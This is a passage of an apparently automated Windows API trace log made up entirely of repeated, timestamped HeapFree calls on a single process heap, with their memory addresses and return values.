dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0146.842] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0146.842] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.842] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.843] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.843] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.843] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.844] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.844] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.844] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.844] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.845] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.845] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.845] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.845] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.845] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.845] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.846] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.846] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.846] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.846] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.846] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.846] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.846] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.847] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.847] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.847] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.847] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.847] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.847] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f4978 | out: hHeap=0x660000) returned 1 [0146.849] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f4978 | out: hHeap=0x660000) returned 1 [0146.849] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0146.851] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f4978 | out: hHeap=0x660000) returned 1 [0146.851] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0146.851] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0146.851] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0146.853] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0146.853] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f4978 | out: hHeap=0x660000) returned 1 [0146.853] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0146.853] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f4978 | out: hHeap=0x660000) returned 1 [0146.853] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0146.854] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0146.855] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0146.860] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.860] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f4978 | out: hHeap=0x660000) returned 1 [0146.860] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0146.861] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e4970 | out: hHeap=0x660000) returned 1 [0146.862] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0146.863] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f4978 | out: hHeap=0x660000) returned 1 [0146.863] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e4970 | out: hHeap=0x660000) returned 1 [0146.863] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e4970 | out: hHeap=0x660000) returned 1 [0146.864] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f4978 | out: hHeap=0x660000) returned 1 [0146.865] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e4970 | out: hHeap=0x660000) returned 1 [0147.239] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0147.239] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6e5148 | out: hHeap=0x660000) returned 1 [0147.239] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0147.241] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d4968 | out: hHeap=0x660000) returned 1 [0147.243] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0147.243] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0147.243] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0147.243] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6e5148 | out: hHeap=0x660000) returned 1 [0147.245] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.247] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.247] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.247] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0147.248] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.248] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.248] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.249] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.249] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.249] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.250] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0147.250] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.250] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.250] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.251] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.251] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0147.253] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0147.253] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6e5148 | out: hHeap=0x660000) returned 1 [0147.341] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0147.344] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0147.346] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0147.740] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.741] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0147.741] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0147.741] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0147.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0147.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0147.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0147.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0147.749] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0147.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0147.752] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0148.003] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0148.003] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0148.004] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0148.005] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0148.005] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0148.007] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0148.007] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0148.007] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0148.009] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0148.016] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0148.019] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0148.021] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0148.026] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0148.026] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0148.026] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0148.026] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0148.028] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0148.235] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.237] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.238] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.239] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.241] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.242] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.243] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.245] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.246] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.247] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.249] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.250] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.251] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.253] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.254] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.255] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.257] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.258] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.260] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.261] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.262] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.264] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.265] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.553] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.561] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.562] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.564] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.565] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.566] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.568] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.569] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.571] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.572] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.580] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0148.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0148.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0148.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.019] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.020] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.022] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.023] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.024] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.025] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.027] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.028] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.029] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.030] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.032] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.033] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.034] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.036] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.038] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.040] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.041] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.043] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.044] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.045] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.046] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.048] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.378] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.379] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.381] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.382] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.384] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.385] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.386] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.388] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.389] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.390] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.392] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.393] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.395] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.396] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.398] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.399] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.400] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.402] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.403] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.405] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.405] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0149.406] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.408] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.410] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.502] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.504] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.505] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.507] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.509] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.509] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.514] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.516] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.517] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.526] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.528] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.529] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.538] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.539] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.607] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.613] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.616] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: 